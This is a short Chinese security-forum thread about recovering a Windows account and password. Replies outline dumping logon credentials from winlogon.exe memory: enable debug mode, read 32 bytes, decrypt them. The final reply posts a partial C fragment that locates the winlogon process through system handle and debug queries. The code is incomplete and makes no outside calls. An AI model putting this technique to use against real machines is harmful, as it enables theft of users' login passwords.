|
![]() | 作者: ww3128 [ww3128]
![]() |
登录 |
RT [此贴被 ww3128(ww3128) 在 06月25日19时04分 编辑过] |
地主 发表时间: 06/25 17:15 |
![]() | 回复: ww3128 [ww3128] ![]() |
登录 |
没人知道吗? |
B1层 发表时间: 06/25 17:51 |
![]() | 回复: yjkj0448 [yjkj0448] ![]() |
登录 |
是在什么系统中啊,是什么程序里的帐号和密码啊 如果是系统的(NT/2k/xp)可以用工具读出来 如果是其它类的软件可以用一般的内存编辑工具解出来 |
B2层 发表时间: 06/28 21:29 |
![]() | 回复: 286 [unique] ![]() |
登录 |
1.找到winlogin.exe进程。 2.将其设置为调试模式,以便可以对其代码段内存进行查找。 3.在其内存的特定位置读出32个字节的代码。 4.将这段代码进行解密。 5.所解密的代码就是帐号和密码。 |
B3层 发表时间: 06/29 23:36 |
![]() | 回复: lan [lan] ![]() |
登录 |
楼上说的可是winlogon.exe,请问如何才能把它设置成调试模式呀. |
B4层 发表时间: 06/30 05:05 |
![]() | 回复: 286 [unique] ![]() |
登录 |
是winlogon.exe. PQUERY_SYSTEM_INFORMATION QuerySystemInformationP=(PQUERY_SYSTEM_INFORMATION)InfoP; DWORD i; for (i=1;i<=NumHandles;i++) { if (QuerySystemInformationP->HandleType==5) { PVOID DebugBufferP=pfnRtlCreateQueryDebugBuffer(0,0); if (pfnRtlQueryProcessDebugInformation(QuerySystemInformationP->PID,1,DebugBufferP)==0) { PPROCESS_INFO_HEADER ProcessInfoHeaderP=(PPROCESS_INFO_HEADER)((DWORD)DebugBufferP+0x60); DWORD Count=ProcessInfoHeaderP->Count; PPROCESS_INFO ProcessInfoP=(PPROCESS_INFO)((DWORD)ProcessInfoHeaderP+sizeof(PROCESS_INFO_HEADER)); if (strstr(_strupr(ProcessInfoP->Name),"WINLOGON")!=0) { DWORD i; DWORD dw=(DWORD)ProcessInfoP; for (i=0;i<Count;i++) { dw+=sizeof(PROCESS_INFO); ProcessInfoP=(PPROCESS_INFO)dw; if (strstr(_strupr(ProcessInfoP->Name),"NWGINA")!=0) return ""; if (strstr(_strupr(ProcessInfoP->Name),"MSGINA")==0) rc=QuerySystemInformationP->PID; } if (DebugBufferP) pfnRtlDestroyQueryDebugBuffer(DebugBufferP); HeapFree(GetProcessHeap(),0,InfoP); break; } } if (DebugBufferP) pfnRtlDestroyQueryDebugBuffer(DebugBufferP); } DWORD dw=(DWORD)QuerySystemInformationP; dw+=sizeof(QUERY_SYSTEM_INFORMATION); QuerySystemInformationP=(PQUERY_SYSTEM_INFORMATION)dw; } |
B5层 发表时间: 06/30 12:20 |
|
20CN网络安全小组版权所有
Copyright © 2000-2010 20CN Security Group. All Rights Reserved.
论坛程序编写:NetDemon
粤ICP备05087286号